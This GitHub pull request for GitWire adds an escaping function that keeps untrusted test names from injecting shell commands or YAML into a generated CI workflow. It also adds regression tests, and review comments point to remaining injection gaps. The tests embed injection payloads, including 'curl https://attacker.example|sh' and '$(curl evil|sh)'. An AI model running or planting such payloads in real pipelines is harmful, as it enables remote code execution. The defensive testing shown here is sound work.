Repository navigation
fix(5): quarantine workflow generation — YAML+shell-safe test identifier boundary (CodeQL #5) #465
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -205,8 +205,35 @@ async function openQuarantinePR({ candidates, repository, octokit }) { | |
| return pr; | ||
| } | ||
|
|
||
| function buildQuarantineWorkflow(candidates, repository) { | ||
| const testFilter = candidates.map(c => c.test_suite + " > " + c.test_name).join("|"); | ||
| // Boundary sanitizer for untrusted test identifiers (suite and test names | ||
| // parsed from repository CI output). These values are interpolated into a | ||
| // generated GitHub Actions workflow at TWO layers, and must remain data at | ||
| // both: | ||
| // 1. YAML — control characters (newlines, carriage returns, and the rest | ||
| // of C0 plus DEL) are the only characters that can escape a `command: |` | ||
| // block scalar's indentation or a trailing `#` comment line and inject | ||
| // workflow structure. They are replaced with spaces; no legitimate | ||
| // test identifier contains them. | ||
| // 2. Shell — the value lands inside a double-quoted `--testNamePattern=` | ||
| // argument. Backslash is escaped FIRST (escaping quotes before | ||
| // backslashes lets an attacker's `\"` collapse the escape and close the | ||
| // string early), then double quote, dollar sign, and backtick — the | ||
| // characters that expand or substitute inside POSIX double quotes. | ||
| // Escaping is identical at both interpolation sites (filter and comments) by | ||
| // policy: one function, no per-site decisions. | ||
| export function sanitizeTestIdentifier(value) { | ||
| return String(value ?? "") | ||
| .replace(/[\u0000-\u001f\u007f]+/g, " ") | ||
| .replace(/\\/g, "\\\\") | ||
| .replace(/"/g, '\\"') | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. [CRITICAL] GitHub Actions expression injection (${{ }}) bypasses the new shell escaping — command execution remains possible The fix escapes |
||
| .replace(/\$/g, "\\$") | ||
| .replace(/`/g, "\\`"); | ||
| } | ||
|
|
||
| export function buildQuarantineWorkflow(candidates, repository) { | ||
| const testFilter = candidates | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. [LOW] testNamePattern remains regex-interpreted: sanitized names still alter matching semantics After shell decoding, the value reaches jest's |
||
| .map(c => sanitizeTestIdentifier(c.test_suite) + " > " + sanitizeTestIdentifier(c.test_name)) | ||
| .join("|"); | ||
|
|
||
| return "# Auto-generated by GitWire — Flaky Test Quarantine\n" + | ||
| "# DO NOT EDIT — managed by GitWire\n\n" + | ||
|
|
@@ -217,9 +244,9 @@ function buildQuarantineWorkflow(candidates, repository) { | |
| " - name: Set up Node\n uses: actions/setup-node@v4\n with:\n node-version: '20'\n" + | ||
| " - run: npm ci\n" + | ||
| " - name: Run quarantined tests\n uses: nick-fields/retry@v3\n with:\n timeout_minutes: 15\n max_attempts: 3\n" + | ||
| " command: |\n npm test -- --testNamePattern=\"" + testFilter.replace(/"/g, '\\"') + "\" 2>&1\n\n" + | ||
| " command: |\n npm test -- --testNamePattern=\"" + testFilter + "\" 2>&1\n\n" + | ||
| "# Quarantined tests (" + candidates.length + "):\n" + | ||
| candidates.map(c => "# - [" + Math.round(c.flakiness_score * 100) + "% failure rate] " + c.test_suite + " > " + c.test_name).join("\n") + "\n"; | ||
| candidates.map(c => "# - [" + Math.round(c.flakiness_score * 100) + "% failure rate] " + sanitizeTestIdentifier(c.test_suite) + " > " + sanitizeTestIdentifier(c.test_name)).join("\n") + "\n"; | ||
| } | ||
|
|
||
| function buildQuarantinePRBody(candidates) { | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,174 @@ | ||
| // tests/unit/flaky-quarantine-escaping.test.js | ||
| // CodeQL #5 remediation regressions: untrusted test identifiers (suite and | ||
| // test names parsed from repository CI output) are interpolated into the | ||
| // generated GitHub Actions quarantine workflow at two layers and must remain | ||
| // DATA at both: | ||
| // YAML — control characters cannot escape the `command: |` block scalar | ||
| // or the trailing `#` comment lines to inject workflow structure. | ||
| // shell — backslash, double quote, dollar sign, and backtick cannot break | ||
| // out of the double-quoted --testNamePattern argument. | ||
| // | ||
| // The whole generated document is parsed with a real YAML parser (js-yaml), | ||
| // and the shell argument is decoded with a POSIX double-quote tokenizer, so | ||
| // the assertions hold at the actual parsing layers rather than against | ||
| // substring trivia. | ||
|
|
||
| import { jest } from "@jest/globals"; | ||
| import { load as yamlLoad } from "js-yaml"; | ||
|
|
||
| const mockQuery = jest.fn(); | ||
|
|
||
| await jest.unstable_mockModule("../../src/lib/db.js", () => ({ db: { query: mockQuery } })); | ||
| await jest.unstable_mockModule("../../src/lib/logger.js", () => ({ | ||
| logger: { info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn(), child: () => ({ info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn() }) }, | ||
| })); | ||
| await jest.unstable_mockModule("../../src/services/pipelineEvents.js", () => ({ Events: { record: jest.fn() } })); | ||
| await jest.unstable_mockModule("@anthropic-ai/sdk", () => ({ | ||
| default: class { constructor() { this.messages = { create: jest.fn().mockResolvedValue({ content: [{ type: "text", text: "[]" }] }) }; } }, | ||
| })); | ||
| await jest.unstable_mockModule("../../config/index.js", () => ({ | ||
| config: { server: { env: "test" }, anthropic: { apiKey: "test", baseURL: "http://test" }, ai: { model: "test-model" } }, | ||
| })); | ||
|
|
||
| const { buildQuarantineWorkflow, sanitizeTestIdentifier } = await import("../../src/services/flakyTestService.js"); | ||
|
|
||
| // POSIX double-quote decoder for a single shell argument. Input: the raw | ||
| // command-line tail exactly as the generated line carries it (starting | ||
| // AFTER the opening quote). Returns the decoded argument so far and the | ||
| // text remaining AFTER the quote that terminated it. The argument is | ||
| // well-formed exactly when the terminator is the intended closing quote — | ||
| // i.e. `rest` is the intended trailing redirect (`2>&1`) and nothing else. | ||
| // Any unescaped quote inside the payload ends the argument early and shows | ||
| // up as attacker text in `rest` — precisely the injection this remediation | ||
| // must prevent. | ||
| function shDecodeDoubleQuoted(raw) { | ||
| let out = ""; | ||
| for (let i = 0; i < raw.length; i += 1) { | ||
| const ch = raw[i]; | ||
| if (ch === "\\") { | ||
| out += raw[i + 1] ?? ""; | ||
| i += 1; | ||
| continue; | ||
| } | ||
| if (ch === `"`) return { out, rest: raw.slice(i + 1) }; | ||
| out += ch; | ||
| } | ||
| return { out, rest: "" }; | ||
| } | ||
|
|
||
| // Extract the testNamePattern argument payload from the generated command | ||
| // block: everything between `--testNamePattern="` and the line's end. | ||
| function extractTestNamePatternRaw(yamlText) { | ||
| const line = yamlText.split("\n").find((l) => l.includes("--testNamePattern=")); | ||
| if (!line) return null; | ||
| const at = line.indexOf('--testNamePattern="'); | ||
| return line.slice(at + '--testNamePattern="'.length); | ||
| } | ||
|
|
||
| function candidate(suite, name) { | ||
| return { test_suite: suite, test_name: name, flakiness_score: 0.42, run_count: 10 }; | ||
| } | ||
|
|
||
| describe("sanitizeTestIdentifier (unit)", () => { | ||
| it("strips every C0 control character and DEL to a space (YAML layer)", () => { | ||
| const out = sanitizeTestIdentifier("a\nb\rc\td\x00e\x1ff\x7fg"); | ||
| expect(out).toBe("a b c d e f g"); | ||
| // No control characters survive anywhere in the sanitized value. | ||
| expect(/[\u0000-\u001f\u007f]/.test(out)).toBe(false); | ||
| }); | ||
|
|
||
| it("escapes backslash BEFORE double quote — the \\\" pair cannot close the shell string", () => { | ||
| const out = sanitizeTestIdentifier("evil\\\"; touch /tmp/pwned; \\\""); | ||
| // The source backslash is doubled first, then the quote is escaped, so a | ||
| // POSIX decoder reads: backslash, quote, ; touch ... — all inside the arg. | ||
| const decoded = shDecodeDoubleQuoted(out); | ||
| expect(decoded.rest).toBe(""); | ||
| expect(decoded.out).toBe("evil\\\"; touch /tmp/pwned; \\\""); | ||
| }); | ||
|
|
||
| it("escapes dollar sign and backtick (command substitution and expansion stay data)", () => { | ||
| const out = sanitizeTestIdentifier("$(id) `id` $HOME"); | ||
| const decoded = shDecodeDoubleQuoted(out); | ||
| expect(decoded.rest).toBe(""); | ||
| expect(decoded.out).toBe("$(id) `id` $HOME"); | ||
| expect(out).toContain("\\$"); | ||
| expect(out).toContain("\\`"); | ||
| }); | ||
|
|
||
| it("leaves ordinary test names byte-identical (equivalent quarantine behavior)", () => { | ||
| expect(sanitizeTestIdentifier("auth > logs in with valid token [slow]")).toBe("auth > logs in with valid token [slow]"); | ||
| }); | ||
| }); | ||
|
|
||
| describe("buildQuarantineWorkflow (generated-document regressions)", () => { | ||
| it("produces a YAML-parseable workflow with exactly one job and the intended steps for a normal candidate", () => { | ||
| const doc = yamlLoad(buildQuarantineWorkflow([candidate("auth", "logs in")], { full_name: "o/r" })); | ||
| expect(Object.keys(doc.jobs)).toEqual(["quarantine"]); | ||
| expect(doc.jobs.quarantine["runs-on"]).toBe("ubuntu-latest"); | ||
| const names = doc.jobs.quarantine.steps.map((s) => s.name ?? s.uses); | ||
| expect(names).toEqual(["actions/checkout@v4", "Set up Node", undefined, "Run quarantined tests"]); | ||
| // The filter argument decodes to the exact benign name. | ||
| const raw = extractTestNamePatternRaw(buildQuarantineWorkflow([candidate("auth", "logs in")], { full_name: "o/r" })); | ||
| const decoded = shDecodeDoubleQuoted(raw); | ||
| expect(decoded.out).toBe("auth > logs in"); | ||
| expect(decoded.rest.trim()).toBe("2>&1"); | ||
| }); | ||
|
|
||
| it("SHELL INJECTION: a crafted \\\" name cannot terminate the testNamePattern argument", () => { | ||
| const evil = 'evil\\"; curl https://attacker.example|sh; \\"'; | ||
| const yamlText = buildQuarantineWorkflow([candidate("suite", evil)], { full_name: "o/r" }); | ||
| const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText)); | ||
| expect(decoded.out).toBe('suite > evil\\"; curl https://attacker.example|sh; \\"'); | ||
| expect(decoded.rest.trim()).toBe("2>&1"); // the closing quote is the INTENDED one — payload stayed one argument | ||
| }); | ||
|
|
||
| it("SHELL INJECTION: $(), backticks, and $VAR remain literal data", () => { | ||
| const yamlText = buildQuarantineWorkflow([candidate("s", "$(curl evil|sh) `id` ${IFS}")], { full_name: "o/r" }); | ||
| const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText)); | ||
| expect(decoded.out).toBe("s > $(curl evil|sh) `id` ${IFS}"); | ||
| expect(decoded.rest.trim()).toBe("2>&1"); | ||
| }); | ||
|
|
||
| it("YAML STRUCTURE: an embedded newline cannot inject workflow keys — the document parses with unchanged structure", () => { | ||
| const evil = "ok\nruns-on: ubuntu-latest\n - run: malicious\non: [push]"; | ||
| const yamlText = buildQuarantineWorkflow([candidate("s", evil)], { full_name: "o/r" }); | ||
| // The whole document still parses and the structure is exactly the | ||
| // intended single quarantine job. | ||
| const doc = yamlLoad(yamlText); | ||
| expect(Object.keys(doc.jobs)).toEqual(["quarantine"]); | ||
| expect(doc.jobs.quarantine["runs-on"]).toBe("ubuntu-latest"); | ||
| expect(doc.jobs.quarantine.steps).toHaveLength(4); | ||
| expect(doc.on).toEqual({ schedule: [{ cron: "0 6 * * 1" }], workflow_dispatch: null }); | ||
| // The injected text survives as data inside the argument, not as YAML. | ||
| const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText)); | ||
| expect(decoded.out).toContain("runs-on: ubuntu-latest"); | ||
| expect(decoded.out).toContain("- run: malicious"); | ||
| // No line outside the intended template carries the injected markers. | ||
| const structureLines = yamlText.split("\n").filter((l) => /^\s*- run: malicious/.test(l) || /^\s*on: \[push\]/.test(l)); | ||
| expect(structureLines).toEqual([]); | ||
| }); | ||
|
|
||
| it("YAML STRUCTURE: carriage returns are neutralized identically", () => { | ||
| const yamlText = buildQuarantineWorkflow([candidate("s", "a\r\njobs:\r\n evil: boom")], { full_name: "o/r" }); | ||
| const doc = yamlLoad(yamlText); | ||
| expect(Object.keys(doc.jobs)).toEqual(["quarantine"]); | ||
| }); | ||
|
|
||
| it("multiple candidates join with | and each is sanitized independently", () => { | ||
| const yamlText = buildQuarantineWorkflow( | ||
| [candidate("s1", 'n\\"1'), candidate("s2", "$x")], | ||
| { full_name: "o/r" }, | ||
| ); | ||
| const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText)); | ||
| expect(decoded.out).toBe('s1 > n\\"1|s2 > $x'); | ||
| expect(decoded.rest.trim()).toBe("2>&1"); | ||
| }); | ||
|
|
||
| it("comment lines carry the same sanitization (no control characters anywhere in the document)", () => { | ||
| const yamlText = buildQuarantineWorkflow([candidate("s", "line1\nline2")], { full_name: "o/r" }); | ||
| expect(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f]/.test(yamlText)).toBe(false); | ||
| // Newlines exist only as the template's own line separators: the comment | ||
| // line shows the name flattened to one line. | ||
| expect(yamlText).toMatch(/# - \[42% failure rate\] s > line1 line2/); | ||
| }); | ||
| }); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
[MEDIUM] Sanitizer misses YAML 1.1 line breaks (NEL U+0085, LS U+2028, PS U+2029) and C1 controls
The strip class covers C0 (0x00-0x1F) plus DEL only. YAML 1.1 additionally treats NEL (U+0085), LS (U+2028), and PS (U+2029) as line breaks, and the Actions runner's parser implements YAML 1.1 semantics — so an identifier containing one of these characters can terminate a trailing
#comment line mid-value and inject top-level workflow keys, or disturb thecommand: |block scalar. js-yaml, used in the new tests, treats these as ordinary printable characters and honors only LF/CR, so the added assertions pass while the boundary remains open for runners using 1.1 break semantics. Bare C1 controls (0x80-0x9F except NEL) are also non-printable in YAML and can make the generated file invalid for strict parsers, breaking the workflow run. Fix: widen the class to /[\u0000-\u001f\u007f-\u009f\u2028\u2029]+/g, i.e. strip everything below U+0020 plus 0x7F-0x9F and the two Unicode line separators.